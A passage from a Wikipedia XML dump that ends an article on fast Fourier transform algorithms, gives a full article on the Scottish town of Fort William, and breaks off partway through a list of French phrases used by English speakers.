In two dimensions, the &lt;math&gt;x_\mathbf{k}&lt;/math&gt; can be viewed as an &lt;math&gt;n_1 \times n_2&lt;/math&gt; [[matrix (mathematics)|matrix]], and this algorithm corresponds to first performing the FFT of all the rows and then of all the columns (or vice versa), hence the name.

In more than two dimensions, it is often advantageous for [[cache]] locality to group the dimensions recursively.  For example, a three-dimensional FFT might first perform two-dimensional FFTs of each planar &quot;slice&quot; for each fixed &lt;math&gt;k_1&lt;/math&gt;, and then perform the one-dimensional FFTs along the &lt;math&gt;k_1&lt;/math&gt; direction.  More generally, an (asymptotically) optimal [[cache-oblivious]] algorithm consists of recursively dividing the dimensions into two groups &lt;math&gt;(k_1, \cdots, k_{d/2})&lt;/math&gt; and &lt;math&gt;(k_{d/2+1}, \cdots, k_d)&lt;/math&gt; that are transformed recursively (rounding if &lt;math&gt;d&lt;/math&gt; is not even) (see Frigo and Johnson, 2005).  Still, this remains a straightforward variation of the row-column algorithm that ultimately requires only a one-dimensional FFT algorithm as the base case, and still has &lt;math&gt;O(N \log N)&lt;/math&gt; complexity.  Yet another variation is to perform matrix [[transpose|transpositions]] in between transforming subsequent dimensions, so that the transforms operate on contiguous data; this is especially important for [[out-of-core]] and [[distributed memory]] situations where accessing non-contiguous data is extremely time-consuming.

There are other multidimensional FFT algorithms that are distinct from the row-column algorithm, although all of them have &lt;math&gt;O(N \log N)&lt;/math&gt; complexity.  Perhaps the simplest non-row-column FFT is the [[vector-radix FFT algorithm]], which is a generalization of the ordinary Cooley-Tukey algorithm where one divides the transform dimensions by a vector &lt;math&gt;\mathbf{r}=(r_1, r_2, \cdots, r_d)&lt;/math&gt; of radices at each step.  (This may also have cache benefits.)  The simplest case of vector-radix is where all of the radices are equal (e.g. vector-radix-2 divides ''all'' of the dimensions by two), but this is not necessary.  Vector radix with only a single non-unit radix at a time, i.e. &lt;math&gt;\mathbf{r}=(1, \cdots, 1, r, 1, \cdots, 1)&lt;/math&gt;, is essentially a row-column algorithm. Other, more complicated, methods include polynomial transform algorithms due to Nussbaumer (1977), which view the transform in terms of convolutions and polynomials products.  See Duhamel and Vetterli (1990) for more information and references.

== References ==
* James W. Cooley and John W. Tukey, &quot;An algorithm for the machine calculation of complex Fourier series,&quot; ''Math. Comput.'' '''19''', 297&amp;ndash;301 (1965).
* Carl Friedrich Gauss, &quot;Nachlass: Theoria interpolationis methodo nova tractata,&quot; ''Werke'' band '''3''', 265&amp;ndash;327 (Königliche Gesellschaft der Wissenschaften, Göttingen, 1866). See also M. T. Heideman, D. H. Johnson, and C. S. Burrus, &quot;Gauss and the history of the fast Fourier transform,&quot; ''IEEE ASSP Magazine'' '''1''' (4), 14&amp;ndash;21 (1984).
* P. Duhamel and M. Vetterli, &quot;Fast Fourier transforms: a tutorial review and a state of the art,&quot; ''Signal Processing'' '''19''', 259&amp;ndash;299 (1990).
* W. M. Gentleman and G. Sande, &quot;Fast Fourier transforms&amp;mdash;for fun and profit,&quot; ''Proc. AFIPS'' '''29''', 563&amp;ndash;578 (1966).
* H. Guo, G. A. Sitton, and C. S. Burrus, &quot;The Quick Discrete Fourier Transform,&quot; ''Proc. IEEE Conf. Acoust. Speech and Sig. Processing (ICASSP)'' '''3''', 445&amp;ndash;448 (1994).
* H. V. Sorensen, D. L. Jones, M. T. Heideman, and C. S. Burrus, &quot;Real-valued fast Fourier transform algorithms,&quot; ''IEEE Trans. Acoust. Speech Sig. Processing'' '''ASSP-35''', 849&amp;ndash;863 (1987).
* A. Edelman, P. McCorquodale, and S. Toledo, &quot;The future fast Fourier transform?&quot; ''SIAM J. Sci. Computing'' '''20''', 1094&amp;ndash;1114 (1999).
* H. Guo and C. S. Burrus, &quot;Fast approximate Fourier transform via wavelets transform,&quot; ''Proc. SPIE Intl. Soc. Opt. Eng.'' '''2825''', 250&amp;ndash;259 (1996).
* O. V. Shentov, S. K. Mitra, U. Heute, and A. N. Hossen, &quot;Subband DFT. I. Definition, interpretations and extensions,&quot; ''Signal Processing'' '''41''' (3), 261&amp;ndash;277 (1995).
* James C. Schatzman, &quot;Accuracy of the discrete Fourier transform and the fast Fourier transform,&quot; ''SIAM J. Sci. Comput.'' '''17''' (5), 1150&amp;ndash;1166 (1996).
* Peter D. Welch, &quot;A fixed-point fast Fourier transform error analysis,&quot; ''IEEE Trans. Audio Electroacoustics'' '''17''' (2), 151&amp;ndash;157 (1969).
* Funda Ergün, &quot;Testing multivariate linear functions: Overcoming the generator bottleneck,&quot;  ''Proc. 27th ACM Symposium on the Theory of Computing'', 407&amp;ndash;416 (1995).
* H. J. Nussbaumer, &quot;Digital filtering using polynomial transforms,&quot; ''Electronics Lett.'' '''13''' (13), 386-387 (1977).
* Matteo Frigo and Steven G. Johnson: ''FFTW'', http://www.fftw.org/. A free ([[GPL]]) C library for computing discrete Fourier transforms in one or more dimensions, of arbitrary size.  Also M. Frigo and S. G. Johnson, &quot;[http://fftw.org/fftw-paper-ieee.pdf The Design and Implementation of FFTW3],&quot; ''Proceedings of the IEEE'' '''93''' (2), 216–231 (2005).
* N. Brenner and C. Rader, &quot;A New Principle for Fast Fourier Transformation&quot;, ''IEEE Acoustics, Speech &amp; Signal Processing'' '''24''' (3), 264-266 (1976).
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 30: Polynomials and the FFT, pp.822&amp;ndash;848.

== External links ==
* [http://www.fftw.org/links.html Links to FFT code and information online]
* [http://www.jjj.de/fxt/ Online documentation, links, book, and code]
* [http://www.dl.ac.uk/TCSC/Subjects/Parallel_Algorithms/FFTreport/ Parallel Application Software on High Performance Computers. Serial and Parallel FFT Routines.]

[[Category:FFT algorithms]]

[[de:Schnelle Fourier-Transformation]]
[[es:Transformada rápida de Fourier]]
[[fr:Transformée de Fourier rapide]]
[[ko:고속 푸리에 변환]]
[[nl:Fast Fourier Transform]]
[[ja:高速フーリエ変換]]
[[pl:Szybka transformata Fouriera]]
[[ru:Быстрое преобразование Фурье]]
[[sr:Брза Фуријеова трансформација]]
[[sv:FFT]]
[[zh:快速傅里叶变换]]</text>
    </revision>
  </page>
  <page>
    <title>Fort William, Scotland</title>
    <id>11513</id>
    <revision>
      <id>42045650</id>
      <timestamp>2006-03-03T12:33:13Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{infobox Scotland place|
   |Place=             Fort William
   |Population = 9,908
   |GridReference=     NN103738
   |Map=            
   |Council=           [[Highland]]
   |Lieutenancy=       [[Inverness]]
   |Traditional=       [[Inverness-shire]]
   |Westminster=       [[Ross, Skye and Lochaber (UK Parliament constituency)|Ross, Skye and Lochaber]]
   |Holyrood=          [[Inverness East, Nairn and Lochaber (Scottish Parliament constituency)|Inverness East, Nairn &amp; Lochaber]]
   |PostalTown=        FORT WILLIAM
   |PostCode=          [[PH33]]
   |DiallingCode=      01397
   |Police=            [[Northern Constabulary]]
 }}
'''Fort William''' ([[Scottish Gaelic language|Gaelic]]: ''An Gearasdan'', &quot;The Garrison&quot;) is the largest town in the [[Scottish Highlands|west highlands]] of [[Scotland]]. Originally based around the still-extant village of [[Inverlochy]], the town lies at the southern end of the [[Great Glen]], on the shores of [[Loch Linnhe]] and [[Loch Eil]]. It is close to [[Ben Nevis]], the highest mountain in the [[British Isles]], and the beautiful [[Glen Nevis]]. The town is a major [[tourist]] centre with [[Glen Coe]] just to the south, and [[Glenfinnan]] to the west, on the [[Road to the Isles]].

Historically, this area of [[Lochaber]] was strongly [[Clan Cameron| Cameron]] country, and there were a number of mainly Cameron settlements in the area (such as [[Blarmacfoldach]]). The nearby settlement of Inverlochy was the site of the [[Battle of Inverlochy]].

[[Image:Fortwilliam.jpg|thumbnail|left|Fort William from Loch Linnhe]]

However, the town is not of local origin.  It grew up as a settlement next to a fort constructed to control the population following [[Oliver Cromwell]]'s invasion during the [[English Civil War]], and then to suppress the [[Jacobitism|Jacobite]] uprisings of the [[18th century]]. The fort was named ''Fort William'' after [[William III of Orange-Nassau|William Of Orange]], and the settlement that grew around it was called '''Maryburgh''', after his wife. This settlement was later renamed '''Gordonsburgh''', and then to '''Duncansburgh'''[http://www.scottish.parliament.uk///vli/language/gaelic/pdfs/placenamesF-J.pdf] (see [[burgh]]) before being renamed ''Fort William'', this time after [[Prince William Augustus, Duke of Cumberland|the &quot;Butcher&quot; of Cumberland]]. Given these origins, there have been various suggestions over the years to rename the town (for example, to ''Invernevis''). These proposals have led to nothing as of yet.

Just outside the town is a large [[aluminium]] plant, powered by the [[Lochaber]] [[hydroelectric]] scheme, in its day the biggest tunnelling project in the world.

The [[West Highland Line]] passes through Fort William. Owing to the difficult terrain in the area, the line from [[Glasgow]], to the south, enters from the northeast and trains from Glasgow to [[Mallaig]], the terminus of the line, have to reverse at Fort William.

The [[Caledonian Canal]] connects the Scottish east coast at [[Inverness]] with the west coast at [[Corpach]] near Fort William.

[[Image:Fort William sleeper.jpg|thumbnail|right|Arrival at Fort William (An Gearasdan in [[Scottish Gaelic language|Gaelic]]) of the overnight [[Caledonian Sleeper|sleeper]] train from London]]

==References==
* {{cite book
 | last = MacCulloch | first = Donald B.
 | year = 1971
 | title = Romantic Lochaber
 | publisher = Chambers
 | id = ISBN 0550503471
 }}
* {{cite web
 | url = http://www.highland.gov.uk/plintra/iandr/cen/pop_towns.htm
 | title = Census 2001
 | work = Population figures
 | accessdate = August 17 | accessyear = 2005
 }}

==External links==
* [http://www.visit-fortwilliam.co.uk/ Visit Fort William]
* [http://www.railscot.co.uk/West_Highland_Railway/frame.htm West Highland Railway]
* [http://myweb.tiscali.co.uk/hickieshomepage/index.html Fort William Weather]
* [http://mysite.wanadoo-members.co.uk/lochaber-views Around Lochaber]
* [http://www.nevisrange.co.uk Nevis Range]
*[http://www.nls.uk/digitallibrary/map/military/record.cfm?id=77 Map of Ft William and area, dated 1710]

[[Category:Towns in Highland]]
[[Category:Lochaber]]

[[de:Fort William (Schottland)]]
[[fr:Fort William (Écosse)]]
[[gd:An Gearasdan]]
[[it:Fort William]]
[[pl:Fort William]]

{{Scotland-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>List of French phrases used by English speakers</title>
    <id>11515</id>
    <revision>
      <id>42039740</id>
      <timestamp>2006-03-03T11:13:57Z</timestamp>
      <contributor>
        <username>Dybeck</username>
        <id>798148</id>
      </contributor>
      <comment>Reverted vandalism by unnamed IP.</comment>
      <text xml:space="preserve">Here are some examples of '''French words and phrases used by English speakers'''.

There are many [[List of English words of French origin|words of French origin in English]], such as ''competition'', ''art'', ''table'', ''publicity'', ''police'', ''role'', ''routine'', ''machine'', ''force'', and many others which have been anglicized; they are now pronounced according to [[English language|English]] rules of [[orthography]], rather than [[French language|French]]. Approximately 40% of English vocabulary is of French or [[Oïl language]] origin, most derived from, or transmitted via, the [[Anglo-Norman language|Anglo-Norman]] spoken by the [[upper class]]es in [[England]] for several hundred years after the [[Norman Conquest]]. 

This article, however, covers only words and phrases that seem unmistakably foreign and &quot;French&quot; to an English-speaking person; that is, words that are infrequently used and which have not passed into general usage as a part of the English language proper.

That said, the phrases are given as used in English, and may seem correct modern French to English speakers, but may not be recognised as such by French speakers. A general rule is that if the word or phrase looks better in italics, it has retained its French identity, but if it doesn't need italics, it has probably passed over into English.

&lt;!--BEGIN OUTLINE--&gt;    
&lt;center&gt;
{| border=&quot;0&quot; class=&quot;toccolours&quot;
|-
! {{MediaWiki:Toc}}
|-
| align=&quot;center&quot; |
[[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N|N]] [[#O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W - X - Y - Z|W]] [[#W - X - Y - Z|X]] [[#W - X - Y - Z|Y]] [[#W - X - Y - Z|Z]] __NOTOC__

[[#Only found in English|Only found in English]] &amp;mdash; [[#French phrases in international air-sea rescue|French phrases in international air-sea rescue]] &amp;mdash; [[#See also|See also]] &amp;mdash; [[#External links|External links]]
|}
&lt;/center&gt;
&lt;!--END OUTLINE--&gt;
== Words and phrases ==


Note that these phrases are pronounced using the French rules, and not the English ones. Thus, the stress may fall on the final [[syllable]], a final consonant is usually silent, consequent words are pronounced without a pause between them, unaccented ''e'' is usually pronounced as {{IPA|[&amp;#601;]}} except in final position when it is silent, and final ''n'' nasalizes the preceding vowel. (see [[International Phonetic Alphabet for English]] for a guide to phonetic symbols).

== A ==
* À bientôt!&amp;mdash;''See you soon!'' (relatively uncommon in English)
* accouchement—confinement during childbirth, the process of having a baby
* Adieu!&amp;mdash;''Good bye!''
* à gogo—in abundance
* [[aide-de-camp]]—a military assistant
* aide-mémoire—a position paper
* [[agent provocateur]], pl. agents provocateurs&amp;mdash;a police spy who causes a crime to secure a conviction; can also mean a secret agent spreading unrest in French
* à la&amp;mdash;''in the manner of''
* [[à la carte]]&amp;mdash;''on the card''.
* [[à la mode]]&amp;mdash;''fashionable'' (UK) or ''with ice cream'' (US)
* amour-propre—self regard. Lit ''proper love'', or ''love of self''
* [[Ancien Régime]]—a sociopolitical or other system that no longer exists, in allusion to pre-revolutionary France
* à outrance—to the utmost or last extreme
* [[apéritif]]—a before-meal drink
* [[appliqué]]—an inlaid or attached decorative feature
* après—after
* Après moi, le déluge—the remark attributed to [[Louis XV of France|Louis XV]], used in reference to the impending end of an era (“After me, the deluge”)
* [[après-ski]]—socializing after a ski session
* [[Arete (landform)|arête]]—a narrow ridge
* armoire—a type of cabinet; wardrobe
* arriviste—a social climber
* artiste—a skilled performer, a person with artistic pretensions
* [[art nouveau]]—a style of decoration and architecture of the late 19th and early 20th centuries
* [[attaché]]—a person attached to an embassy
* au contraire&amp;mdash;''to the contrary''
* au courant—up-to-date, abreast of current affairs
* au fait—up to par
* au naturel—nude
* [[au pair]]—a young foreigner who does domestic chores in exchange for room and board
* Au revoir!&amp;mdash;''See you soon!'', lit. ''Until the next sight''
* autres temps, autres moeurs—&quot;other times, other customs&quot;
* [[Avant-garde|avant garde]]&amp;mdash; applied to cutting-edge or radically innovative movements in art and literature, lit. ''before the guard'' (vanguard).

== B ==
* beaucoup—a lot of (slang, ''e.g.'', ''beaucoup bucks '')
* beau ideal—an idealized type (should be spelt and pronounced &quot;bel idéal&quot; in French)
* [[Beaux-Arts architecture|beaux arts]]—fine arts, a style of achitecture
* bel esprit—a witty or clever person
* [[belle époque]]—an era of cultural refinement
* [[belles lettres]]—literary works valued for their aesthetic qualities
* [[bête noire]], pl. bêtes noires&amp;mdash;someone or something which is detested or avoided, lit. ''black beast''
* bêtise—a foolish act
* bien aimé—a beloved person
* bien pensant—right-thinking; politically correct
* [[billet doux]]—a love letter
* [[bistro]]—a small restaurant
* bivouac—a temporary camp
* blasé—jaded
* Bon appétit!&amp;mdash;''Enjoy your meal!'', lit. ''Good appetite!''
* bonhomie—geniality
* Bonjour!&amp;mdash;''Hello!'', lit. ''Good day!''
* bon mot—a witticism
* bonne bouche—a delicious morsel
* Bonne chance!&amp;mdash;''Good luck!''
* bonnet rouge—a revolutionist
* bon ton—a sophisticated manner, high society
* bon vivant—an epicure
* Bon voyage!&amp;mdash;''Have a good trip!''
* [[boudoir]]—bedroom
* [[bourgeois]]—belonging to the privileged class
* [[bourgeoisie]]—the privileged class
* boutonnière—a small bunch of flowers for a buttonhole
* [[brasserie]]—a small restaurant
* [[bricolage]]—construction from bits and pieces on hand

== C ==
* cachet—a distinctive quality
* cap-à-pie—from head to foot
* [[carte blanche]]&amp;mdash;unlimited authority, lit. ''blank card''
* Ça va sans dire&amp;mdash;That goes without saying
* C'est bon!&amp;mdash;I understand; I get it, lit. ''It's good''
* C'est la mode &amp;mdash;''such is fashion'' 
* C'est la vie !&amp;mdash;''That's life!''
* C'est magnifique !&amp;mdash;''That's great!'' (relatively uncommon in English)
* [[chaise longue]]—a long chair for reclining 
* chanson—a song
* chanteuse—a female singer
* chapeau—a hat (can also be used as a compliment: &quot;Hat off!&quot;)
* [[chargé d'affaires]]—a temporary or low-level diplomat
* [[masterpiece|chef d'œuvre]]—a masterpiece
* chez—the home of (pronounced SHAY)
* chic—stylish
* [[chignon]]—a hairstyle worn in a roll at the nape of the neck
* [[cinéma vérité]]—realism in documentary filmmaking
* [[claque]]—a group of admirers
* cliché—a stereotype
* coquette—a flirtatious girl, a tease
* [[commandant]]—a commanding officer
* comme il faut—as is proper
* comme ci comme ça—so-so
* Comment allez-vous ?&amp;mdash;''How are you?''
* communiqué—an official communication
* [[concierge]]—a hotel desk manager
* [[concordat]]—an agreement, treaty
* confrère—a colleague
* congé—a departure
* [[connoisseur]]—an expert in wines, fine arts or other matters of culture. A person of refined taste. ''(spelt &quot;conn'''ai'''sseur&quot; in modern French.)''
* conte—a short story
* contretemps—an awkward clash, a delay
* cortège—a funeral procession
* [[corvée]]—forced labor for minimal or no pay
* cotte d'armes—coat of arms
* coup de foudre—a sudden unforeseen event
* [[Coup de grâce|coup de grâce]]&amp;mdash;''death-blow'', lit. ''blow of mercy''
* [[coup de main]]—a surprise attack
* [[Coup d'état|coup d'état]], pl. coups d'état&amp;mdash;a sudden change in government by force, lit. ''takeover of state''
* coup d'oeil—a glance
* [[couture]]—fashion
* couturier—a fashion designer
* crèche—a nativity display
* crème de la crème&amp;mdash;''best of the best'', lit. ''cream of the cream''
* cri de coeur—a passionate plea
* [[cul-de-sac]]—a dead-end (residential) street. lit. ''bottom of bag''

== D ==
* D'accord.&amp;mdash;''Agreed.'', ''OK.'' (relatively uncommon in English)
* déclassé—of inferior social status
* décor—the layout and furnishing of a room
* [[découpage]]—decoration with cut paper
* dégagé—unworried
* [[déjà vu]]&amp;mdash;The impression or illusion of having seen or experienced something before.
* démarche—a decisive step.
* [[demimonde]]—a class of women of ill repute
* démodé—dated
* [[dénouement]]—the end result
* de nouveau—again, anew
* dépaysé—out of one’s element
* [[Derailleur gears|dérailleur]]—a bicycle gear-shift mechanism
* de règle—according to custom. Not used in French.
* de rigueur&amp;mdash;''required'', ''necessary'', especially with reference to fashion.
* dernier cri—the latest fashion
* derrière&amp;mdash;rear, buttocks, lit. ''behind''
* déshabillé—partially clad
* [[détente]]—easing of diplomatic tension
* de trop—excessive
* diablerie—witchcraft, deviltry
* divertissement—an amusing diversion
* dossier—a file containing detailed information about a person
* douceur de vivre&amp;mdash;''sweetness of life'' (relatively uncommon in English)
* doyenne—the senior female member of a group
* [[dressage]]—a form of competitive horse training.

== E ==
* eau de toilette—perfume
* éclat—conspicuous achievement
* élan—a distinctive flair
* embarras de richesses—embarrassment of riches
* embarras du choix— (in the contruction: avoir l'embarras du choix) multitude difficult to choose from
* embonpoint—fat (euphemistically)
* [[émigré]]—one who has emigrated for political reasons
* [[eminence grise|éminence grise]]&amp;mdash;a powerful advisor or decision-maker who operates secretly or otherwise unofficially, lit. ''gray eminence''
* empressé—eager
* [[enfant terrible]]—a disruptively unconventional person
* en bloc—as a group
* en masse—all together
* ennui—boredom
* en passant—in passing
* en route—on the way
* en suite—as a set
* [[entente]]—diplomatic agreement or cooperation
* entre nous—confidentially (''between us'')
* entrepreneur
* [[escargots]]&amp;mdash;snails as food, a delicacy; lit. ''snail'', animal
* [[escritoire]] (spelt ''écritoire'' in French) —a writing table
* [[esprit de corps]]&amp;mdash;a feeling of solidarity among members of a group, morale; lit. ''spirit of body''
* [[Exposé (journalism)|exposé]]—a published exposure of a fraud or scandal
* extraordinaire—extraordinary

== F ==
* fainéant—a slacker
* fait accompli&amp;mdash;something that has happened and is unlikely to be reversed
* faute de mieux—for want of better
* [[faux]]—fake
* [[faux amis]]&amp;mdash;used to refer to words in two different languages that have the same [[etymology]], but different meanings; lit. ''false friends'' such as the French verb &quot;rester&quot; which means ''to stay'' rather than ''to rest''
* [[faux pas]]&amp;mdash;a social blunder, or &quot;mis-step&quot;
* [[femme fatale]]—an alluring, mysterious woman
* fiancé—a man engaged to be married
* fiancée—a woman engaged to be married
* [[film noir]]—a genre of dark-themed movies
* fils—used after a man's surname to distinguish a son from a father
* [[fin de siècle]]&amp;mdash;comparable to (but not exactly the same as) [[turn-of-the-century]] but with a connotation of decadence
* flambeau—a lighted torch
* flâneur—an aimless idler
* [[fleur-de-lis]]—a stylized-flower heraldic device
* [[folie à deux]]—a simultaneous occurrence of delusions in two closely related people
* [[force majeure]]—an overpowering event, an act of God
* frisson—a thrill

== G ==
* gaffe—blunder
* garçon—lit. ''boy'' or ''male servant'', but often used by English speakers to summon the attention of a male [[waiter]] (actually insulting in French)
* gauche—tactless
* gaucherie—boorishness
* gendarme—a police officer (slang, irreverent)
* [[genre]]—a type or class
* [[glissade]]—slide down a slope
* grande dame—a venerable woman
* [[Grand Prix motor racing|Grand Prix]]—a type of motor racing, lit. &quot;Grand Prize&quot; or &quot;Big Prize&quot;

== H ==
* habitué—one who regularly frequents a place
* [[haute couture]]—trend-setting fashion.
* [[haute cuisine]]—a manner of preparing food. Lit. ''upper kitchen''.
* haute école—advanced horsemanship. Lit. ''upper school''
* hauteur—arrogance
* haut monde—fashionable society
* [[Honi soit qui mal y pense|honni soit qui mal y pense]]&amp;mdash;''Shame on him who thinks ill of it'' or sometimes translated as ''Evil be to him who evil thinks'', the motto of the most noble [[Order of the Garter]] (modern French writes ''honni'' instead of old French ''honi'')
* hors de combat—out of the fight
* [[hors d'œuvre]]

== I ==
* [[idée fixe]]—a leitmotiv, an obsession
* insouciant—nonchalant
* [[Ingenue (stock character)|ingénue]]—an innocent young woman

== J ==
* J’accuse—the (generally untranslated) title of [[Émile Zola]]’s expose of the [[Dreyfus affair]] (''I accuse''), also used generally in allusion to a political or social indictment
* Je-ne-sais-quoi&amp;mdash;an indefinable, usually compelling quality ([[charisma]]); lit. ''I don't know what''
* joie de vivre&amp;mdash;''joy of living''

== K ==
== L ==
* l'affaire [proper name]—a cause célèbre, ''e.g.'', ''l’affaire Enron'', in allusion to [[Dreyfus affair|L’Affaire Dreyfus]]
* [[laisser-faire]]—a policy of minimal interference, usu. in reference to government regulation of commerce
* layette—a set of clothing and accessories for a new baby
* la petite mort—an [[orgasm]]
* [[Lese majesty|lèse majesté]]—treason, an affront
* [[l'esprit de l'escalier]]&amp;mdash;thinking of the right comeback too late, lit. ''staircase wit''. Originally a witticism of [[Denis Diderot|Diderot]], the French [[Encyclopedist|encyclopedist]], in his ''Paradoxe sur le Comédien''. 
* L'état c'est moi—the (frequently untranslated) remark attributed to [[Louis XIV of France|Louis XIV]] (''I am the state''), also used generally in allusion to an overweening ego
* liaison—a close relationship or connection, an affaire
* [[Liberté, égalité, fraternité|Liberté, Égalité, Fraternité]]&amp;mdash;Liberty, Equality, Fraternity (motto of the French Republic)
* [[littérateur]]—a literary person. Pejorative in French
* longueur—a tedious passage in drama or literature
* louche—of questionable taste, shady.

== M ==
* [[maître d']]
* [[ménage à trois]]&amp;mdash;a sexual arrangement between three people, not typically used if all three are of the same sex; lit. ''household for three''
* Merci beaucoup!&amp;mdash;''Thank you very much!''
* milieu—environment, setting
* [[mirepoix (cuisine)|mirepoix]]&amp;mdash;a cooking mixture of two parts onions and one part each of celery and carrots[http://www.foodreference.com/html/fmirepoix.html]
* mise en place—a food assembly station in a commercial kitchen
* [[mise en scène]]
* moi&amp;mdash;''me''; often used in English as an ironic reply to an accusation, for example &quot;[[wikt:Pretentious|Pretentious]]? ''Moi?''&quot;
* mousse—a whipped dessert or a hairstyling foam

== N ==
* né (masculine) form of née
* née (feminine)&amp;mdash;''born''; past participle of naître, ''to be born''. Often used to give someone or something's former or [[maiden name]]: ''[[Martha Washington]], ''née'' Martha Dandridge''.
* n'est-ce pas ?&amp;mdash;''Isn't it?'', used after a statement, as in ''Right?''
* [[noblesse oblige]]—honorable behavior expected of high rank
* non&amp;mdash;''No''
* [[nom de guerre]]—a [[pseudonym]] 
* [[nom de plume]], pl. noms de plume&amp;mdash;''[[pen name]]''
* nouveau—newfangled
* [[nouveau riche]]&amp;mdash;newly rich

== O ==
*

== P ==
* [[papier-mâché]], lit. ''chewed paper''
* par excellence&amp;mdash;quintessential, lit. ''by excellence''
* pardon–''I'm sorry''; ''Excuse me?''
* [[pas de deux]]—a close relationship between two people, a duet in ballet
* passé–out of fashion
* peignoir—a woman’s dressing gown, a negligee (in French also a [[bathrobe]])
* [[pièce de résistance]] &amp;mdash; ''the one that resists'', the best (among numerous examples). In French, [[pièce de résistance]] can mean the main course in a meal.
* [[Pied a terre|pied-à-terre]]—a second home, usually an [[apartment]] in the city
* plat de résistance&amp;mdash;the main dish of a meal, lit. ''dish of resistance''
* plus ça change—the more things change, the more they stay the same (from ''plus ça change, plus c’est la même chose'')
* précis—a concise summary
* prix fixe—a fixed-price meal
* poseur—a person who pretends to be something he is not, a phony
* [[prêt-à-porter]]—ready-to-wear clothing
* prud-homme—an upstanding citizen, skilled workman

== Q ==
* Quel dommage!&amp;mdash;''What damage!&quot; or &quot;What a shame!&quot;
* Quelle horreur!&amp;mdash;A usually sarcastic phrase meaning ''What a horrible thing!'', lit. ''What horror!''
* Qu'est-ce que c'est?&amp;mdash;''What is this?''

== R ==
* raison d'être&amp;mdash;justification for existence, ''reason for being''
* raconteur—a conversationalist
* rapprochement—the establishment of cordial relations
* recherché—obscure, pretentious
* roué—a hedonist &lt;!-- roue (without accent) wheel --&gt;
* [[rendezvous]]&amp;mdash;a ''meeting'', ''appointment'', or ''date''; usually written rendez-vous in French and sometimes in English
* restaurateur—a restaurant owner
* risqué—sexually suggestive. (in French, the meaning of &quot;risqué&quot; is ''risky'', with no sexual connotation)
* Laissez les bons temps rouler&amp;mdash;''Let the good times roll''. Strongly associated with [[Cajun]] culture, and not commonly used by Francophones outside of [[Louisiana]].
* Le Roi est mort. Vive le Roi!&amp;mdash;''[[The King is dead. Long live the King]]!''
* [[roman à clef]]&amp;mdash;a fictional account of a true story, lit. ''novel with a key''

== S ==
* Sacré bleu!&amp;mdash;General exclamation of horror and shock; used to avoid the oath “Sacré Dieu!”, lit. ''Sacred God!''; This is a very dated expression, not used anymore in French; sometimes contracted and unaccented: “sacrebleu”.
* sang-froid—great coolness and composure under strain. lit. ''cold blood''
* sans—without
* savoir-faire;''know-how''
* ''savoir-vivre'' &amp;mdash; ''etiquette''
* s'il vous plaît (SVP)&amp;mdash;''please'', lit. ''if it pleases you'', ''if you please''
* soi-disant—self described, lit. ''oneself saying'', 
* soupçon—a very small amount
* [[soupe du jour]]&amp;mdash;''soup of the day''
* succès d’estime—an important but unpopular achievement

== T ==
* table d'hôte—a full-course meal offered at a fixed price
* tableau vivant—in drama, a scene in which actors remain still as if in a picture
* tête-à-tête &amp;mdash;a private or tense meeting, lit. ''head-to-head''
* touché—acknowledgment of an effective counterpoint. lit. ''hit!''. Used in French to point a successful shot.
* tour de force&amp;mdash;a masterly or brilliant stroke, creation, effect, or accomplishment, lit. ''feat of strength''
* très—very (slang, generally ironic)

== U ==

== V ==
* vis-à-vis&amp;mdash;in comparison with or in relation to, lit. ''face-to-face''; also used to refer to the opposite corner of an intersection, i.e. catercorner (coll. kitty-corner).
* Vive la différence&amp;mdash;''Long live the difference'', generally referring to difference between male and female
* Vive la France!&amp;mdash;''Long live France!'', sometimes said with tongue-in-cheek sarcasm
* Voilà! or Et voilà!&amp;mdash;'There you go!'' or ''And there you have it!''
* [[volte-face]]—a complete reversal of opinion or position
* [[Voulez-vous coucher avec moi?|Voulez-vous coucher avec moi (ce soir)?]] &amp;mdash; &quot;Do you want to sleep with me (tonight)?&quot;
* [[Voyeurism|voyeur]]—a peeping tom

== W - X - Y - Z ==
* Zut alors!&amp;mdash;''Darn it!'', a general exclamation. Like &quot;Sacré bleu&quot;, this is considered dated by modern French speakers. (Just plain ''zut'' is still in use, however - often repeated for effect, ie. ''zut, zut et zut!'') (Whether &quot;zut&quot; is dated or not might depend on context: where &quot;merde&quot; ''(wfw. &quot;shit&quot;)'' is not polite enough, &quot;zut&quot;, &quot;zut alors&quot;, &quot;zut et rezut&quot; etc. are still in current use.)

==Only found in English==
* [[auteur]]&amp;mdash;A film director, specifically one who controls most aspects of a film, or other controller of an artistic situation.  The English connotation derives from French film theory.  It was popularized in the journal ''[[Cahiers du cinéma]]'': auteur theory maintains that directors like Hitchcock exert a level of creative control equivalent to the author of a literary work.  In French, the word originally means ''author'', but some expressions like &quot;cinéma d'auteur&quot; are also in use.
* [[Bondage (BDSM)|bondage]]&amp;mdash;The sexual technique is called ''ligottage'' by [[Francophone]]s.
* [[cause célèbre]]&amp;mdash;An issue arousing widespread controversy or heated public debate, lit. ''celebrated cause''
* [[décolletage]]—a low-cut neckline, cleavage ''(This is actually a case of &quot;false friends&quot;: Engl. &lt;u&gt;décolletage&lt;/u&gt; = Fr. &lt;u&gt;décolleté&lt;/u&gt;; Fr. &lt;u&gt;décolletage&lt;/u&gt; means: 1. action of lowering a female garment's neckline; 2. Agric.: cutting leaves from some cultivated roots such as beets, carrots, etc.; 3. Tech. Operation consisting of making screws, bolts, etc. one after another out of a single bar of metal on a parallel lathe.''
